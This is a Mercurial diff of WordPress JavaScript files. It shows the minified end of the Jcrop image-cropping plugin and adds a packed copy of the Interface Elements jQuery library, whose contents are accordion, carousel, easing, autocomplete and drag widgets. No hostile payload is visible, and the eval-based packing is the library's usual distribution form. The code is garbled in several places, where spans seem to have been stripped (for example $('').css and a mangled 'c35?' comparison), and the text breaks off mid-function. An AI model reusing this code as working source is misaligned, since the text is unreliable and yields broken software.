+return false;};function activateHandlers(move,done) +{btndown=true;onMove=move;onDone=done;toFront();return false;};function setCursor(t){$trk.css('cursor',t);};$img.before($trk);return{activateHandlers:activateHandlers,setCursor:setCursor};}();var KeyManager=function() +{var $keymgr=$('').css({position:'absolute',left:'-30px'}).keypress(parseKey).blur(onBlur),$keywrap=$('
    ').css({position:'absolute',overflow:'hidden'}).append($keymgr);function watchKeys() +{if(options.keySupport) +{$keymgr.show();$keymgr.focus();}};function onBlur(e) +{$keymgr.hide();};function doNudge(e,x,y) +{if(options.allowMove){Coords.moveOffset([x,y]);Selection.updateVisible();};e.preventDefault();e.stopPropagation();};function parseKey(e) +{if(e.ctrlKey)return true;shift_down=e.shiftKey?true:false;var nudge=shift_down?10:1;switch(e.keyCode) +{case 37:doNudge(e,-nudge,0);break;case 39:doNudge(e,nudge,0);break;case 38:doNudge(e,0,-nudge);break;case 40:doNudge(e,0,nudge);break;case 27:Selection.release();break;case 9:return true;} +return nothing(e);};if(options.keySupport)$keywrap.insertBefore($img);return{watchKeys:watchKeys};}();function px(n){return''+parseInt(n)+'px';};function pct(n){return''+parseInt(n)+'%';};function cssClass(cl){return options.baseClass+'-'+cl;};function getPos(obj) +{var pos=$(obj).offset();return[pos.left,pos.top];};function mouseAbs(e) +{return[(e.pageX-docOffset[0]),(e.pageY-docOffset[1])];};function myCursor(type) +{if(type!=lastcurs) +{Tracker.setCursor(type);lastcurs=type;}};function startDragMode(mode,pos) +{docOffset=getPos($img);Tracker.setCursor(mode=='move'?mode:mode+'-resize');if(mode=='move') +return Tracker.activateHandlers(createMover(pos),doneSelect);var fc=Coords.getFixed();var opp=oppLockCorner(mode);var opc=Coords.getCorner(oppLockCorner(opp));Coords.setPressed(Coords.getCorner(opp));Coords.setCurrent(opc);Tracker.activateHandlers(dragmodeHandler(mode,fc),doneSelect);};function dragmodeHandler(mode,f) +{return function(pos){if(!options.aspectRatio)switch(mode) +{case'e':pos[1]=f.y2;break;case'w':pos[1]=f.y2;break;case'n':pos[0]=f.x2;break;case's':pos[0]=f.x2;break;} +else switch(mode) +{case'e':pos[1]=f.y+1;break;case'w':pos[1]=f.y+1;break;case'n':pos[0]=f.x+1;break;case's':pos[0]=f.x+1;break;} +Coords.setCurrent(pos);Selection.update();};};function createMover(pos) +{var lloc=pos;KeyManager.watchKeys();return function(pos) +{Coords.moveOffset([pos[0]-lloc[0],pos[1]-lloc[1]]);lloc=pos;Selection.update();};};function oppLockCorner(ord) +{switch(ord) +{case'n':return'sw';case's':return'nw';case'e':return'nw';case'w':return'ne';case'ne':return'sw';case'nw':return'se';case'se':return'nw';case'sw':return'ne';};};function createDragger(ord) +{return function(e){if(options.disabled)return false;if((ord=='move')&&!options.allowMove)return false;btndown=true;startDragMode(ord,mouseAbs(e));e.stopPropagation();e.preventDefault();return false;};};function presize($obj,w,h) +{var nw=$obj.width(),nh=$obj.height();if((nw>w)&&w>0) +{nw=w;nh=(w/$obj.width())*$obj.height();} +if((nh>h)&&h>0) +{nh=h;nw=(h/$obj.height())*$obj.width();} +xscale=$obj.width()/nw;yscale=$obj.height()/nh;$obj.width(nw).height(nh);};function unscale(c) +{return{x:parseInt(c.x*xscale),y:parseInt(c.y*yscale),x2:parseInt(c.x2*xscale),y2:parseInt(c.y2*yscale),w:parseInt(c.w*xscale),h:parseInt(c.h*yscale)};};function doneSelect(pos) +{var c=Coords.getFixed();if(c.w>options.minSelect[0]&&c.h>options.minSelect[1]) +{Selection.enableHandles();Selection.done();} +else +{Selection.release();} +Tracker.setCursor(options.allowSelect?'crosshair':'default');};function newSelection(e) +{if(options.disabled)return false;if(!options.allowSelect)return false;btndown=true;docOffset=getPos($img);Selection.disableHandles();myCursor('crosshair');var pos=mouseAbs(e);Coords.setPressed(pos);Tracker.activateHandlers(selectDrag,doneSelect);KeyManager.watchKeys();Selection.update();e.stopPropagation();e.preventDefault();return false;};function selectDrag(pos) +{Coords.setCurrent(pos);Selection.update();};function newTracker() +{var trk=$('
    ').addClass(cssClass('tracker'));$.browser.msie&&trk.css({opacity:0,backgroundColor:'white'});return trk;};function animateTo(a) +{var x1=a[0]/xscale,y1=a[1]/yscale,x2=a[2]/xscale,y2=a[3]/yscale;if(animating)return;var animto=Coords.flipCoords(x1,y1,x2,y2);var c=Coords.getFixed();var animat=initcr=[c.x,c.y,c.x2,c.y2];var interv=options.animationDelay;var x=animat[0];var y=animat[1];var x2=animat[2];var y2=animat[3];var ix1=animto[0]-initcr[0];var iy1=animto[1]-initcr[1];var ix2=animto[2]-initcr[2];var iy2=animto[3]-initcr[3];var pcent=0;var velocity=options.swingSpeed;Selection.animMode(true);var animator=function() +{return function() +{pcent+=(100-pcent)/velocity;animat[0]=x+((pcent/100)*ix1);animat[1]=y+((pcent/100)*iy1);animat[2]=x2+((pcent/100)*ix2);animat[3]=y2+((pcent/100)*iy2);if(pcent<100)animateStart();else Selection.done();if(pcent>=99.8)pcent=100;setSelectRaw(animat);};}();function animateStart() +{window.setTimeout(animator,interv);};animateStart();};function setSelect(rect) +{setSelectRaw([rect[0]/xscale,rect[1]/yscale,rect[2]/xscale,rect[3]/yscale]);};function setSelectRaw(l) +{Coords.setPressed([l[0],l[1]]);Coords.setCurrent([l[2],l[3]]);Selection.update();};function setOptions(opt) +{if(typeof(opt)!='object')opt={};options=$.extend(options,opt);if(typeof(options.onChange)!=='function') +options.onChange=function(){};if(typeof(options.onSelect)!=='function') +options.onSelect=function(){};};function tellSelect() +{return unscale(Coords.getFixed());};function tellScaled() +{return Coords.getFixed();};function setOptionsNew(opt) +{setOptions(opt);interfaceUpdate();};function disableCrop() +{options.disabled=true;Selection.disableHandles();Selection.setCursor('default');Tracker.setCursor('default');};function enableCrop() +{options.disabled=false;interfaceUpdate();};function cancelCrop() +{Selection.done();Tracker.activateHandlers(null,null);};function destroy() +{$div.remove();$origimg.show();};function interfaceUpdate(alt) +{options.allowResize?alt?Selection.enableOnly():Selection.enableHandles():Selection.disableHandles();Tracker.setCursor(options.allowSelect?'crosshair':'default');Selection.setCursor(options.allowMove?'move':'default');$div.css('backgroundColor',options.bgColor);if('setSelect'in options){setSelect(opt.setSelect);Selection.done();delete(options.setSelect);} +if('trueSize'in options){xscale=options.trueSize[0]/boundx;yscale=options.trueSize[1]/boundy;} +xlimit=options.maxSize[0]||0;ylimit=options.maxSize[1]||0;xmin=options.minSize[0]||0;ymin=options.minSize[1]||0;if('outerImage'in options) +{$img.attr('src',options.outerImage);delete(options.outerImage);} +Selection.refresh();};$hdl_holder.hide();interfaceUpdate(true);var api={animateTo:animateTo,setSelect:setSelect,setOptions:setOptionsNew,tellSelect:tellSelect,tellScaled:tellScaled,disable:disableCrop,enable:enableCrop,cancel:cancelCrop,focus:KeyManager.watchKeys,getBounds:function(){return[boundx*xscale,boundy*yscale];},getWidgetSize:function(){return[boundx,boundy];},release:Selection.release,destroy:destroy};$origimg.data('Jcrop',api);return api;};$.fn.Jcrop=function(options) +{function attachWhenDone(from) +{var loadsrc=options.useImg||from.src;var img=new Image();img.onload=function(){$.Jcrop(from,options);};img.src=loadsrc;};if(typeof(options)!=='object')options={};this.each(function() +{if($(this).data('Jcrop')) +{if(options=='api')return $(this).data('Jcrop');else $(this).data('Jcrop').setOptions(options);} +else attachWhenDone(this);});return this;};})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/jquery/interface.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/jquery/interface.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ +/** + * Interface Elements for jQuery + * + * http://interface.eyecon.ro + * + * Copyright (c) 2006 Stefan Petre + * Dual licensed under the MIT (MIT-LICENSE.txt) + * and GPL (GPL-LICENSE.txt) licenses. + * + * + */ +eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('A.cP={2l:C(c){G B.1y(C(){if(!c.8Y||!c.8P)G;F b=B;b.2a={9M:c.9M||bz,8Y:c.8Y,8P:c.8P,7R:c.7R||\'du\',9c:c.9c||\'du\',2K:c.2K&&28 c.2K==\'C\'?c.2K:H,2V:c.2K&&28 c.2V==\'C\'?c.2V:H,6D:c.6D&&28 c.6D==\'C\'?c.6D:H,8A:A(c.8Y,B),8a:A(c.8P,B),1l:c.1l||7n,5w:c.5w||0};b.2a.8a.2x().E(\'S\',\'9e\').eq(0).E({S:b.2a.9M+\'Q\',11:\'2v\'}).3m();b.2a.8A.1y(C(a){B.6L=a}).ht(C(){A(B).2H(b.2a.9c)},C(){A(B).3S(b.2a.9c)}).1C(\'4U\',C(e){if(b.2a.5w==B.6L)G;b.2a.8A.eq(b.2a.5w).3S(b.2a.7R).3m().eq(B.6L).2H(b.2a.7R).3m();b.2a.8a.eq(b.2a.5w).4S({S:0},b.2a.1l,C(){B.Y.11=\'1k\';if(b.2a.2V){b.2a.2V.1x(b,[B])}}).3m().eq(B.6L).1S().4S({S:b.2a.9M},b.2a.1l,C(){B.Y.11=\'2v\';if(b.2a.2K){b.2a.2K.1x(b,[B])}}).3m();if(b.2a.6D){b.2a.6D.1x(b,[B,b.2a.8a.I(B.6L),b.2a.8A.I(b.2a.5w),b.2a.8a.I(b.2a.5w)])}b.2a.5w=B.6L}).eq(0).2H(b.2a.7R).3m();A(B).E(\'S\',A(B).E(\'S\')).E(\'2N\',\'2B\')})}};A.fn.fe=A.cP.2l;A.8p={2l:C(h){G B.1y(C(){F c=B;F d=2*Z.2F/eD;F f=2*Z.2F;if(A(c).E(\'T\')!=\'2i\'&&A(c).E(\'T\')!=\'1J\'){A(c).E(\'T\',\'2i\')}c.1i={1M:A(h.1M,B),2y:h.2y,61:h.61,9l:h.9l,iu:f,1N:A.12.2f(B),T:A.12.3a(B),2b:Z.2F/2,b4:h.b4,7K:h.5U,5U:[],93:H,7G:2*Z.2F/eD};c.1i.d8=(c.1i.1N.w-c.1i.2y)/2;c.1i.6Y=(c.1i.1N.h-c.1i.61-c.1i.61*c.1i.7K)/2;c.1i.3f=2*Z.2F/c.1i.1M.1N();c.1i.aS=c.1i.1N.w/2;c.1i.aR=c.1i.1N.h/2-c.1i.61*c.1i.7K;F g=1c.3x(\'1W\');A(g).E({T:\'1J\',3j:1,O:0,M:0});A(c).1L(g);c.1i.1M.1y(C(a){8G=A(\'3O\',B).I(0);S=R(c.1i.61*c.1i.7K);if(A.2R.46){3u=1c.3x(\'3O\');A(3u).E(\'T\',\'1J\');3u.2E=8G.2E;3u.Y.4X=\'fu 9x:9C.9E.a6(1E=60, Y=1, fc=0, f9=0, f5=0, f3=0)\'}L{3u=1c.3x(\'3u\');if(3u.bZ){4j=3u.bZ("2d");3u.Y.T=\'1J\';3u.Y.S=S+\'Q\';3u.Y.V=c.1i.2y+\'Q\';3u.S=S;3u.V=c.1i.2y;4j.eR();4j.eM(0,S);4j.eJ(1,-1);4j.jm(8G,0,0,c.1i.2y,S);4j.bL();4j.jl="jh-3U";F b=4j.jf(0,0,0,S);b.es(1,"eg(1O, 1O, 1O, 1)");b.es(0,"eg(1O, 1O, 1O, 0.6)");4j.j9=b;if(j7.j5.3o(\'iX\')!=-1){4j.iV()}L{4j.iS(0,0,c.1i.2y,S)}}}c.1i.5U[a]=3u;A(g).1L(3u)}).1C(\'9r\',C(e){c.1i.93=14;c.1i.1l=c.1i.7G*0.1*c.1i.1l/Z.3B(c.1i.1l);G H}).1C(\'86\',C(e){c.1i.93=H;G H});A.8p.6z(c);c.1i.1l=c.1i.7G*0.2;c.1i.it=1P.5Y(C(){c.1i.2b+=c.1i.1l;if(c.1i.2b>f)c.1i.2b=0;A.8p.6z(c)},20);A(c).1C(\'86\',C(){c.1i.1l=c.1i.7G*0.2*c.1i.1l/Z.3B(c.1i.1l)}).1C(\'3t\',C(e){if(c.1i.93==H){1A=A.12.3W(e);dr=c.1i.1N.w-1A.x+c.1i.T.x;c.1i.1l=c.1i.b4*c.1i.7G*(c.1i.1N.w/2-dr)/(c.1i.1N.w/2)}})})},6z:C(b){b.1i.1M.1y(C(a){b8=b.1i.2b+a*b.1i.3f;x=b.1i.d8*Z.51(b8);y=b.1i.6Y*Z.7L(b8);do=R(1Y*(b.1i.6Y+y)/(2*b.1i.6Y));dm=(b.1i.6Y+y)/(2*b.1i.6Y);V=R((b.1i.2y-b.1i.9l)*dm+b.1i.9l);S=R(V*b.1i.61/b.1i.2y);B.Y.O=b.1i.aR+y-S/2+"Q";B.Y.M=b.1i.aS+x-V/2+"Q";B.Y.V=V+"Q";B.Y.S=S+"Q";B.Y.3j=do;b.1i.5U[a].Y.O=R(b.1i.aR+y+S-1-S/2)+"Q";b.1i.5U[a].Y.M=R(b.1i.aS+x-V/2)+"Q";b.1i.5U[a].Y.V=V+"Q";b.1i.5U[a].Y.S=R(S*b.1i.7K)+"Q"})}};A.fn.hL=A.8p.2l;A.1U({1e:{b1:C(p,n,a,b,c){G((-Z.51(p*Z.2F)/2)+0.5)*b+a},ho:C(p,n,a,b,c){G b*(n/=c)*n*n+a},d2:C(p,n,a,b,c){G-b*((n=n/c-1)*n*n*n-1)+a},hh:C(p,n,a,b,c){if((n/=c/2)<1)G b/2*n*n*n*n+a;G-b/2*((n-=2)*n*n*n-2)+a},7D:C(p,n,a,b,c){if((n/=c)<(1/2.75)){G b*(7.8W*n*n)+a}L if(n<(2/2.75)){G b*(7.8W*(n-=(1.5/2.75))*n+.75)+a}L if(n<(2.5/2.75)){G b*(7.8W*(n-=(2.25/2.75))*n+.gV)+a}L{G b*(7.8W*(n-=(2.gR/2.75))*n+.gN)+a}},aQ:C(p,n,a,b,c){if(A.1e.7D)G b-A.1e.7D(p,c-n,0,b,c)+a;G a+b},gE:C(p,n,a,b,c){if(A.1e.aQ&&A.1e.7D)if(ng.1z.6q?g.1z.6q:3J;3J=g.1z.6q-3J;bc=g.1z.5R*3J/g.1z.6q;B.Y.V=g.1z.2y+bc+\'Q\';B.Y.M=g.1z.2y*a+c+\'Q\';c+=bc});A.5K.8F(g,c)})})},8F:C(a,b){if(a.1z.4I)if(a.1z.4I==\'az\')a.1z.2q.I(0).Y.M=(a.3P-a.1z.2y*a.1z.1M.1N())/2-b/2+\'Q\';L if(a.1z.4I==\'M\')a.1z.2q.I(0).Y.M=-b/a.1z.1M.1N()+\'Q\';L if(a.1z.4I==\'2D\')a.1z.2q.I(0).Y.M=(a.3P-a.1z.2y*a.1z.1M.1N())-b/2+\'Q\';a.1z.2q.I(0).Y.V=a.1z.2y*a.1z.1M.1N()+b+\'Q\'},6z:C(b){b.1z.1M.1y(C(a){B.Y.V=b.1z.2y+\'Q\';B.Y.M=b.1z.2y*a+\'Q\'})}};A.fn.fz=A.5K.2l;A.K={18:P,7W:P,3q:P,2A:P,4b:P,af:P,2r:P,2h:P,1M:P,58:C(){A.K.7W.58();if(A.K.3q){A.K.3q.2x()}},4i:C(){A.K.1M=P;A.K.2h=P;A.K.4b=A.K.2r.2m;if(A.K.18.E(\'11\')==\'2v\'){if(A.K.2r.1a.fx){2X(A.K.2r.1a.fx.1K){19\'a4\':A.K.18.6d(A.K.2r.1a.fx.1H,A.K.58);1n;19\'1u\':A.K.18.c6(A.K.2r.1a.fx.1H,A.K.58);1n;19\'8o\':A.K.18.c3(A.K.2r.1a.fx.1H,A.K.58);1n}}L{A.K.18.2x()}if(A.K.2r.1a.2V)A.K.2r.1a.2V.1x(A.K.2r,[A.K.18,A.K.3q])}L{A.K.58()}1P.a2(A.K.2A)},c1:C(){F e=A.K.2r;F f=A.K.8C(e);if(e&&f.3w!=A.K.4b&&f.3w.1b>=e.1a.8N){A.K.4b=f.3w;A.K.af=f.3w;9V={bR:A(e).1m(\'eS\')||\'bR\',2m:f.3w};A.eQ({1K:\'eN\',9V:A.eL(9V),eK:C(b){e.1a.3X=A(\'3w\',b);1N=e.1a.3X.1N();if(1N>0){F c=\'\';e.1a.3X.1y(C(a){c+=\'<7b 4o="\'+A(\'2m\',B).3D()+\'" 8h="\'+a+\'" Y="7z: 8T;">\'+A(\'3D\',B).3D()+\'\'});if(e.1a.9K){F d=A(\'2m\',e.1a.3X.I(0)).3D();e.2m=f.30+d+e.1a.3y+f.5m;A.K.64(e,f.3w.1b!=d.1b?(f.30.1b+f.3w.1b):d.1b,f.3w.1b!=d.1b?(f.30.1b+d.1b):d.1b)}if(1N>0){A.K.aU(e,c)}L{A.K.4i()}}L{A.K.4i()}},5v:e.1a.96})}},aU:C(a,b){A.K.7W.3i(b);A.K.1M=A(\'7b\',A.K.7W.I(0));A.K.1M.9r(A.K.en).1C(\'4U\',A.K.ed);F c=A.12.3a(a);F d=A.12.2f(a);A.K.18.E(\'O\',c.y+d.hb+\'Q\').E(\'M\',c.x+\'Q\').2H(a.1a.9D);if(A.K.3q){A.K.3q.E(\'11\',\'2v\').E(\'O\',c.y+d.hb+\'Q\').E(\'M\',c.x+\'Q\').E(\'V\',A.K.18.E(\'V\')).E(\'S\',A.K.18.E(\'S\'))}A.K.2h=0;A.K.1M.I(0).2Z=a.1a.72;A.K.7I(a,a.1a.3X.I(0),\'6H\');if(A.K.18.E(\'11\')==\'1k\'){if(a.1a.bv){F e=A.12.9y(a,14);F f=A.12.6b(a,14);A.K.18.E(\'V\',a.3P-(A.e0?(e.l+e.r+f.l+f.r):0)+\'Q\')}if(a.1a.fx){2X(a.1a.fx.1K){19\'a4\':A.K.18.6U(a.1a.fx.1H);1n;19\'1u\':A.K.18.dR(a.1a.fx.1H);1n;19\'8o\':A.K.18.dP(a.1a.fx.1H);1n}}L{A.K.18.1S()}if(A.K.2r.1a.2K)A.K.2r.1a.2K.1x(A.K.2r,[A.K.18,A.K.3q])}},dM:C(){F b=B;if(b.1a.3X){A.K.4b=b.2m;A.K.af=b.2m;F c=\'\';b.1a.3X.1y(C(a){2m=A(\'2m\',B).3D().5u();dH=b.2m.5u();if(2m.3o(dH)==0){c+=\'<7b 4o="\'+A(\'2m\',B).3D()+\'" 8h="\'+a+\'" Y="7z: 8T;">\'+A(\'3D\',B).3D()+\'\'}});if(c!=\'\'){A.K.aU(b,c);B.1a.9s=14;G}}b.1a.3X=P;B.1a.9s=H},64:C(a,b,c){if(a.9q){F d=a.9q();d.iJ(14);d.dC("bh",b);d.iE("bh",-c+b);d.7Q()}L if(a.9m){a.9m(b,c)}L{if(a.88){a.88=b;a.dA=c}}a.6a()},dw:C(a){if(a.88)G a.88;L if(a.9q){F b=1c.64.dv();F c=b.il();G 0-c.dC(\'bh\',-ij)}},8C:C(a){F b={2m:a.2m,30:\'\',5m:\'\',3w:\'\'};if(a.1a.9k){F c=H;F d=A.K.dw(a)||0;F e=b.2m.6W(a.1a.3y);1V(F i=0;i=d||d==0)&&!c){if(b.30.1b<=d)b.3w=e[i];L b.5m+=e[i]+(e[i]!=\'\'?a.1a.3y:\'\');c=14}L if(c){b.5m+=e[i]+(e[i]!=\'\'?a.1a.3y:\'\')}if(!c){b.30+=e[i]+(e.1b>1?a.1a.3y:\'\')}}}L{b.3w=b.2m}G b},b9:C(e){1P.a2(A.K.2A);F a=A.K.8C(B);F b=e.6S||e.6R||-1;if(/13|27|35|36|38|40|9/.3M(b)&&A.K.1M){if(1P.3N){1P.3N.b6=14;1P.3N.b5=H}L{e.9b();e.99()}if(A.K.2h!=P)A.K.1M.I(A.K.2h||0).2Z=\'\';L A.K.2h=-1;2X(b){19 9:19 13:if(A.K.2h==-1)A.K.2h=0;F c=A.K.1M.I(A.K.2h||0);F d=c.4Z(\'4o\');B.2m=a.30+d+B.1a.3y+a.5m;A.K.4b=a.3w;A.K.64(B,a.30.1b+d.1b+B.1a.3y.1b,a.30.1b+d.1b+B.1a.3y.1b);A.K.4i();if(B.1a.5p){4E=R(c.4Z(\'8h\'))||0;A.K.7I(B,B.1a.3X.I(4E),\'5p\')}if(B.6O)B.6O(H);G b!=13;1n;19 27:B.2m=a.30+A.K.4b+B.1a.3y+a.5m;B.1a.3X=P;A.K.4i();if(B.6O)B.6O(H);G H;1n;19 35:A.K.2h=A.K.1M.1N()-1;1n;19 36:A.K.2h=0;1n;19 38:A.K.2h--;if(A.K.2h<0)A.K.2h=A.K.1M.1N()-1;1n;19 40:A.K.2h++;if(A.K.2h==A.K.1M.1N())A.K.2h=0;1n}A.K.7I(B,B.1a.3X.I(A.K.2h||0),\'6H\');A.K.1M.I(A.K.2h||0).2Z=B.1a.72;if(A.K.1M.I(A.K.2h||0).6O)A.K.1M.I(A.K.2h||0).6O(H);if(B.1a.9K){F f=A.K.1M.I(A.K.2h||0).4Z(\'4o\');B.2m=a.30+f+B.1a.3y+a.5m;if(A.K.4b.1b!=f.1b)A.K.64(B,a.30.1b+A.K.4b.1b,a.30.1b+f.1b)}G H}A.K.dM.1x(B);if(B.1a.9s==H){if(a.3w!=A.K.4b&&a.3w.1b>=B.1a.8N)A.K.2A=1P.97(A.K.c1,B.1a.4w);if(A.K.1M){A.K.4i()}}G 14},7I:C(a,b,c){if(a.1a[c]){F d={};94=b.dj(\'*\');1V(i=0;i<94.1b;i++){d[94[i].4D]=94[i].6M.hG}a.1a[c].1x(a,[d])}},en:C(e){if(A.K.1M){if(A.K.2h!=P)A.K.1M.I(A.K.2h||0).2Z=\'\';A.K.1M.I(A.K.2h||0).2Z=\'\';A.K.2h=R(B.4Z(\'8h\'))||0;A.K.1M.I(A.K.2h||0).2Z=A.K.2r.1a.72}},ed:C(a){1P.a2(A.K.2A);a=a||A.3N.hD(1P.3N);a.9b();a.99();F b=A.K.8C(A.K.2r);F c=B.4Z(\'4o\');A.K.2r.2m=b.30+c+A.K.2r.1a.3y+b.5m;A.K.4b=B.4Z(\'4o\');A.K.64(A.K.2r,b.30.1b+c.1b+A.K.2r.1a.3y.1b,b.30.1b+c.1b+A.K.2r.1a.3y.1b);A.K.4i();if(A.K.2r.1a.5p){4E=R(B.4Z(\'8h\'))||0;A.K.7I(A.K.2r,A.K.2r.1a.3X.I(4E),\'5p\')}G H},dh:C(e){6K=e.6S||e.6R||-1;if(/13|27|35|36|38|40/.3M(6K)&&A.K.1M){if(1P.3N){1P.3N.b6=14;1P.3N.b5=H}L{e.9b();e.99()}G H}},2l:C(a){if(!a.96||!A.12){G}if(!A.K.18){if(A.2R.46){A(\'23\',1c).1L(\'<3q Y="11:1k;T:1J;4X:9x:9C.9E.a6(1E=0);" id="df" 2E="dc:H;" da="0" d7="b0">\');A.K.3q=A(\'#df\')}A(\'23\',1c).1L(\'<1W id="d4" Y="T: 1J; O: 0; M: 0; z-aY: hj; 11: 1k;"><90 Y="5X: 0;7E: 0; h9-Y: 1k; z-aY: h8;">&6G;\');A.K.18=A(\'#d4\');A.K.7W=A(\'90\',A.K.18)}G B.1y(C(){if(B.4D!=\'aV\'&&B.4Z(\'1K\')!=\'3D\')G;B.1a={};B.1a.96=a.96;B.1a.8N=Z.3B(R(a.8N)||1);B.1a.9D=a.9D?a.9D:\'\';B.1a.72=a.72?a.72:\'\';B.1a.5p=a.5p&&a.5p.1F==2w?a.5p:P;B.1a.2K=a.2K&&a.2K.1F==2w?a.2K:P;B.1a.2V=a.2V&&a.2V.1F==2w?a.2V:P;B.1a.6H=a.6H&&a.6H.1F==2w?a.6H:P;B.1a.bv=a.bv||H;B.1a.9k=a.9k||H;B.1a.3y=B.1a.9k?(a.3y||\', \'):\'\';B.1a.9K=a.9K?14:H;B.1a.4w=Z.3B(R(a.4w)||8V);if(a.fx&&a.fx.1F==6E){if(!a.fx.1K||!/a4|1u|8o/.3M(a.fx.1K)){a.fx.1K=\'1u\'}if(a.fx.1K==\'1u\'&&!A.fx.1u)G;if(a.fx.1K==\'8o\'&&!A.fx.5l)G;a.fx.1H=Z.3B(R(a.fx.1H)||7n);if(a.fx.1H>B.1a.4w){a.fx.1H=B.1a.4w-1Y}B.1a.fx=a.fx}B.1a.3X=P;B.1a.9s=H;A(B).1m(\'b9\',\'cW\').6a(C(){A.K.2r=B;A.K.4b=B.2m}).cV(A.K.dh).5Q(A.K.b9).4W(C(){A.K.2A=1P.97(A.K.4i,gM)})})}};A.fn.gJ=A.K.2l;A.1t={2A:P,4k:P,1X:P,3f:10,2b:C(a,b,c,d){A.1t.4k=a;A.1t.1X=b;A.1t.3f=R(c)||10;A.1t.2A=1P.5Y(A.1t.cR,R(d)||40)},cR:C(){1V(i=0;i0&&A.1t.1X[i].2J.y+A.1t.1X[i].2J.t>5a.y){A.1t.1X[i].2T-=A.1t.3f}L if(A.1t.1X[i].2J.t<=A.1t.1X[i].2J.h&&A.1t.1X[i].2J.t+A.1t.1X[i].2J.hb<5a.y+5a.hb){A.1t.1X[i].2T+=A.1t.3f}if(A.1t.1X[i].2J.l>0&&A.1t.1X[i].2J.x+A.1t.1X[i].2J.l>5a.x){A.1t.1X[i].2P-=A.1t.3f}L if(A.1t.1X[i].2J.l<=A.1t.1X[i].2J.gf&&A.1t.1X[i].2J.l+A.1t.1X[i].2J.1D<5a.x+5a.1D){A.1t.1X[i].2P+=A.1t.3f}}},7w:C(){1P.5h(A.1t.2A);A.1t.4k=P;A.1t.1X=P;1V(i in A.1t.1X){A.1t.1X[i].2J=P}}};A.X={18:P,1g:P,4v:C(){G B.1y(C(){if(B.8L){B.D.cM.3h(\'4R\',A.X.aM);B.D=P;B.8L=H;if(A.2R.46){B.aI="cW"}L{B.Y.g0=\'\';B.Y.cJ=\'\';B.Y.cH=\'\'}}})},aM:C(e){if(A.X.1g!=P){A.X.8I(e);G H}F a=B.3H;A(1c).1C(\'3t\',A.X.aE).1C(\'5n\',A.X.8I);a.D.1A=A.12.3W(e);a.D.4d=a.D.1A;a.D.6g=H;a.D.fY=B!=B.3H;A.X.1g=a;if(a.D.4P&&B!=B.3H){aC=A.12.3a(a.2S);aZ=A.12.2f(a);ay={x:R(A.E(a,\'M\'))||0,y:R(A.E(a,\'O\'))||0};dx=a.D.4d.x-aC.x-aZ.1D/2-ay.x;dy=a.D.4d.y-aC.y-aZ.hb/2-ay.y;A.2Q.4s(a,[dx,dy])}G A.6J||H},cD:C(e){F a=A.X.1g;a.D.6g=14;F b=a.Y;a.D.6o=A.E(a,\'11\');a.D.49=A.E(a,\'T\');if(!a.D.av)a.D.av=a.D.49;a.D.22={x:R(A.E(a,\'M\'))||0,y:R(A.E(a,\'O\'))||0};a.D.8z=0;a.D.8y=0;if(A.2R.46){F c=A.12.6b(a,14);a.D.8z=c.l||0;a.D.8y=c.t||0}a.D.1w=A.1U(A.12.3a(a),A.12.2f(a));if(a.D.49!=\'2i\'&&a.D.49!=\'1J\'){b.T=\'2i\'}A.X.18.58();F d=A(a).cA(14).I(0);A(d).E({11:\'2v\',M:\'2G\',O:\'2G\'});d.Y.4M=\'0\';d.Y.53=\'0\';d.Y.4L=\'0\';d.Y.4K=\'0\';A.X.18.1L(d);F f=A.X.18.I(0).Y;if(a.D.ar){f.V=\'8x\';f.S=\'8x\'}L{f.S=a.D.1w.hb+\'Q\';f.V=a.D.1w.1D+\'Q\'}f.11=\'2v\';f.4M=\'2G\';f.53=\'2G\';f.4L=\'2G\';f.4K=\'2G\';A.1U(a.D.1w,A.12.2f(d));if(a.D.2M){if(a.D.2M.M){a.D.22.x+=a.D.1A.x-a.D.1w.x-a.D.2M.M;a.D.1w.x=a.D.1A.x-a.D.2M.M}if(a.D.2M.O){a.D.22.y+=a.D.1A.y-a.D.1w.y-a.D.2M.O;a.D.1w.y=a.D.1A.y-a.D.2M.O}if(a.D.2M.2D){a.D.22.x+=a.D.1A.x-a.D.1w.x-a.D.1w.hb+a.D.2M.2D;a.D.1w.x=a.D.1A.x-a.D.1w.1D+a.D.2M.2D}if(a.D.2M.4e){a.D.22.y+=a.D.1A.y-a.D.1w.y-a.D.1w.hb+a.D.2M.4e;a.D.1w.y=a.D.1A.y-a.D.1w.hb+a.D.2M.4e}}a.D.2n=a.D.22.x;a.D.2j=a.D.22.y;if(a.D.7V||a.D.2e==\'7X\'){7Z=A.12.6b(a.2S,14);a.D.1w.x=a.7Y+(A.2R.46?0:A.2R.6l?-7Z.l:7Z.l);a.D.1w.y=a.7t+(A.2R.46?0:A.2R.6l?-7Z.t:7Z.t);A(a.2S).1L(A.X.18.I(0))}if(a.D.2e){A.X.ah(a);a.D.4V.2e=A.X.ae}if(a.D.4P){A.2Q.ad(a)}f.M=a.D.1w.x-a.D.8z+\'Q\';f.O=a.D.1w.y-a.D.8y+\'Q\';f.V=a.D.1w.1D+\'Q\';f.S=a.D.1w.hb+\'Q\';A.X.1g.D.8w=H;if(a.D.gx){a.D.4V.5y=A.X.a9}if(a.D.3j!=H){A.X.18.E(\'3j\',a.D.3j)}if(a.D.1E){A.X.18.E(\'1E\',a.D.1E);if(1P.6j){A.X.18.E(\'4X\',\'7s(1E=\'+a.D.1E*1Y+\')\')}}if(a.D.6i){A.X.18.2H(a.D.6i);A.X.18.I(0).6M.Y.11=\'1k\'}if(a.D.4c)a.D.4c.1x(a,[d,a.D.22.x,a.D.22.y]);if(A.1s&&A.1s.7p>0){A.1s.ck(a)}if(a.D.3L==H){b.11=\'1k\'}G H},ah:C(a){if(a.D.2e.1F==8t){if(a.D.2e==\'7X\'){a.D.1Z=A.1U({x:0,y:0},A.12.2f(a.2S));F b=A.12.6b(a.2S,14);a.D.1Z.w=a.D.1Z.1D-b.l-b.r;a.D.1Z.h=a.D.1Z.hb-b.t-b.b}L if(a.D.2e==\'1c\'){F c=A.12.a5();a.D.1Z={x:0,y:0,w:c.w,h:c.h}}}L 